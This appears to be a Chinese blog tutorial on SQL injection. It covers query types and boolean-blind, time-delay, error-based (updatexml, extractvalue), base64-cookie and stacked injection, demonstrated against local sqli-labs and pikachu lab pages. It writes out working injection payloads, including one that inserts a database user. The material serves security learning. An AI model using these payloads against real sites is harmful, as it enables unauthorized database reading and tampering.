首页 > 其他分享 >WEB漏洞-查询方式及报错注入

WEB漏洞-查询方式及报错注入

时间:2023-07-23 17:57:01浏览次数:50  
标签:WEB database 漏洞 报错 SQL 盲注 id 注入

WEB漏洞-查询方式及报错注入

目录

当进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入时,提前了解或预知其SQL语句大概写法也能更好的选择对应的注入语句。

1. 查询方式

1.1 select 查询数据

在网站应用中进行数据显示查询操作

例:select * from news where id = $id

1.2 insert 插入数据

在网站应用中进行用户注册添加等操作

例:```insert into news(id,url,text) values(2,'x','$t')``

1.3 delete 删除数据

后台管理里面删除文章删除用户等操作S

例:delete from news weher id = $id

1.4 update 更新数据

会员或后台中心数据同步或缓存等操作

例:update user set pwd = '$p' where id = 2 and username = 'admin'

1.5 order by 排序数据

一般结合表名或列名进行数据排序操作

例:select * from news order by $id

例:select id,name,price from news order by $order

2. SQL注入报错盲注

盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注,我们可以将盲注分为以下三类:

2.1 基于布尔的SQL盲注-逻辑判断

regexp,like,ascii,left,ord,mid

Web的页面的仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息。

返回False时:

返回True时:

2.如何进行布尔盲注?

注入流程:

3.靶场案例演示:

1.** 猜解数据库的名字**

`http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))>115--+ 非正常

http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))>116--+ 非正常

http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))=115--+ 正常
http://127.0.0.1/sql/less-5/index.php?id=1' and ascii(mid(database(),2,1))=101--+ 正常
http://127.0.0.1/sql/less-5/index.php?id=1' and ascii(mid(database(),3,1))=99--+ 正常`

如此就得到了

第一个字符的ASCII码为115解码出来为“s”

第二个字符的ASCII码为101解码出来为“e”

第二个字符的ASCII码为99解码出来为“c”

依次类推出数据库的名字为“security”

2.猜解表明名

http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+ 
正确
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101--+ 正确

注:select下的limit是第几个表。

  substr下的是截取的表内容。

当前库下(注入点连接的数据库)第一个表ASCII码为114 解码为r

当前库下(注入点连接的数据库)第一个表ASCII码为101 解码为e

当前库下(注入点连接的数据库)第一个表ASCII码为.... 解码为** referer**

总结归纳:

盲注分为三种:

1.布尔型盲注 根据页面返回的真假来判断的即为布尔型盲注

2.时间型盲注 根据页面返回的时间来判断的即为时间型盲注

3.报错型盲注 :根据页面返回的对错来判断的即为报错型盲注

2.2 基于时间的SQL盲注-延时注入

知识储备:

sleep(): Sleep 函数可以使计算机程序(进程,任务或线程)进入休眠

if(): i f 是 计算机编程语言一个关键字,分支结构的一种

mid(a,b,c): 从b开始,截取a字符串的c位

substr(a,b,c): 从b开始,截取字符串a的c长度

left(database(),1),database() : left(a,b)从左侧截取a的前b位

length(database())=8 : 判断长度

ord=ascii ascii(x)=100: 判断x的ascii值是否为100

在不使用sleep下查询数据所需要的时间:0.03秒

使用sleep可以使查询数据休眠指定时间

if(a,b,c):可以理解在java程序中的三目运算符,a条件成立 执行b, 条件不成立,执行c

使用if与sleep结合使用:

达到延时数据显示,从而通过数据显示的时间判断数据对错!

使用靶场less-2来实现延时注入:

ocalhost/sqli-labs-master/Less-2/index.php?id=1%20and%20sleep(if(database()=%27test%27,0,5))

可以通过length()来判断数据库的长度

http://localhost/sqli-labs-master/Less-2/index.php?id=1 and sleep(if(length(database())=8,8,0))

mid()使用:

substr()函数
Substr()和substring()函数实现的功能是一样的,均为截取字符串。

string substring(string, start, length)
string substr(string, start, length)
参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。

substr()函数使用:

Left()函数

Left()得到字符串左部指定个数的字符

Left ( string, n ) string为要截取的字符串,n为长度。

通过以上函数可以来判断数据信息:

http://localhost/sqli-labs-master/Less-2/index.php?id=1 and sleep(if(mid(database(),1,1)=%27t%27,0,5))

推荐使用ASCII码

1.防止引号 ‘ “ 转义

2.方便以后工具的使用

使用ascii函数()

结合场景使用:

select * from t1 where id=1 and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=120,sleep(3),0);

select * from t1 where id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=116,sleep(2),0);

2.3 基于报错的SQL盲注-报错回显

函数解析:

updatexml():从目标XML中更改包含所查询值的字符串

第一个参数:XML_document 是String格式,为XML文档对象的名称,文中为DOC

第二个参数:XPath_string(Xpath格式字符串)

第三个参数:new_value,String格式,替换查找到的符合条件的数据

updatexml(XML_document,XPath_String,new_value);

'or updatexml(1,concat(0x7e,database()),0)or'

extractvalue():从目标XML中返回包含所查询值的字符串

第一个参数:XML_document 是String格式,为XML文档对象的名称,文中为DOC

第二个参数:XPath_String (Xpath格式字符串)

extractvalue(XML_document,XPath_String)

' or extractvalue(1,concat(0x7e,database())) or'

' union select 1,extractvalue(1,concat(0x7e,(select version())))%23

函数应用:

floor()向下取整 floor(10.5) = 10
rand()随机数 0 ~ 1之间
count(*)函数返回表的记录数。
concat函数:将多个字符串连接成一个字符串
group_by 根据by对数据按照哪个字段、进行分组,或者是哪几个字段进行分组(去重)。
会建立一张临时表
注意:多个字段分组要使用某个列的聚合函数 cout sum等

pikachu insert

username=x' or (select 1 from (select count(*),concat((select))

参考链接: 12种报错注入+万能语句 - 简书 (jianshu.com)

参考:

like 'ro%' # 判断ro或ro...是否成立

regex '^xiaodi[a-z]' # 匹配xiaodi及xiaodi...等

if(条件,5,0) # 条件成立,返回 5 反之返回 0

sleep(5) # SQL语句延时执行5秒

mid(a,b,c) # 从位置b开始,截取a字符串的c位

substr(a,b,c) #从b位置开始,截取字符串a的c长度

left(database())=8 # 判断数据库database()名的长度

length(database())=8 # 判断数据库database()名的长度

ord=ascii ascii(x)=97 # 判断x的ascii码是否等于97

2.4 基于报错的SQL盲注-加解密注入

SQL注入之加解密注入

Base64是网络上最常见的用于传输8Bit字节码的编码方式之一,Base64就是一种基于64个可打印字符来表示二进制数据的方法。

Less-21关 Cookie加密注入:

通过Burpsuite抓包:

进行Base64解密:

2.5 基于报错的SQL盲注-堆叠注入SQL注入之堆叠注入

在SQL中,分号 ;是用来表示一条sql语句的结束,试想一下我们在 ; 结束一个sql语句后面继续构造下一个语句
会不会一起执行?因此这个想法也就造就了堆叠注入。

而union injection(联合注入)也是将两条语句合并在一起
两者之间有什么区别?区别就在于union执行语句类型有限,可以用来执行查询语句,而堆叠注入可以执行的是任意语句

Less-38

http://localhost/sqli-labs-master/Less-38/?id=1';insert into users(id,username,password) values ('22','mc','hello')--+

标签:WEB,database,漏洞,报错,SQL,盲注,id,注入
From: https://www.cnblogs.com/-andrea/p/17575319.html

相关文章

  • WEB漏洞—RCE代码及命令漏洞执行
    RCE:远程命令/代码执行(remotecommand/codeexecute)在 Web 应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。同样调用系统命令处理......
  • Python使用Flask开发Web服务 - 裴 - flask使用request对象获取请求数据
     第一种,URL路径参数,之前已经介绍过第二种,查询参数  第三种,Form表单参数    第四中,JSON数据   第五种,requests.cookies获取cookie信息   第六种,requests.headers获取header信息  ......
  • .net webapi导出excel
    publicIActionResultdownloadWeeklyTemplate(){stringbasePath=AppDomain.CurrentDomain.BaseDirectory;stringpath=basePath+"/excel.xlsx";varf=newFileInfo(path);if(!f.Exists......
  • springboot项目报错找不到mapper文件
    在使用SpringBoot中的MyBatis-Plus(简称MP)时,出现无法找到mapper.xml文件的错误,可能有以下几个原因:1.未正确配置mapper.xml文件路径:在SpringBoot中,可以通过在application.properties或application.yml文件中设置mybatis-plus.mapper-locations属性来指定mapper.xm......
  • Python使用Flask开发Web服务 - 裴 - flask的路由route的知识点演示
     默认是支持GET:  修改后,只支持post: 也可以getpost都支持 ......
  • 基于Java Web的物流快递管理系统的设计与实现-计算机毕业设计源码+LW文档
    选题的背景、意义及研究现状:研究背景随着中国物流业的高速发展,物流管理的重要性不言而喻。而物流管理的效率更是各个物流企业最看重的地方。近些年来,很多公司和企业都实现了自动化办公及信息管理,工作人员只需要在电脑前动动手指,就可完成繁琐的管理操作,极大程度上减轻了工作人员的......
  • Python报错 | AttributeError: 'NoneType' object has no attribute 'group'
    报错信息使用Python正则匹配的时候,报如下错误:AttributeError:'NoneType'objecthasnoattribute'group'错误原因报错翻译过来是:属性错误:“NoneType”对象没有属性“group”没有匹配到符合正则表达式的内容,但又调用了group方法。importrestr='hellopython!!!hel......
  • infraworks卸载不干净无法安装?一招教你如何搞定infraworks安装失败报错的问题【转载】
    infraworks专用卸载工具,完全彻底卸载删除干净infraworks各种残留注册表和文件的方法和步骤。如何卸载infraworks呢?有很多同学想把infraworks卸载后重新安装,但是发现infraworks安装到一半就失败了或者显示infraworks已安装或者安装未完成,大多数情况下其实是infraworks没有被卸载干......
  • 记阿里云发现后门(Webshell)文件误报分析
    某天公司这边阿里云安全平台日常安全扫描告警发现一处存在webshell后门木马文件路径:fckeditor/spellerpages/server-scripts/spellchecker.php从路径上去看是在fckeditor【可视化HTML编辑器】下存在的php文件把检测出来的木马文件下载下来进行分析,可以看到告警指定的特征是ph......
  • 《Kali渗透基础》09. 漏洞利用、后渗透
    目录1:漏洞基本介绍1.1:漏洞从哪里来1.2:缓冲区溢出1.3:如何发现漏洞2:漏洞利用2.1:EXP选择与修改2.2:避免有害的EXP3:后渗透阶段3.1:Linux上传文件3.2:Windows上传文件本系列侧重方法论,各工具只是实现目标的载体。命令与工具只做简单介绍,其使用另见《安全工具录》。本文以kali-......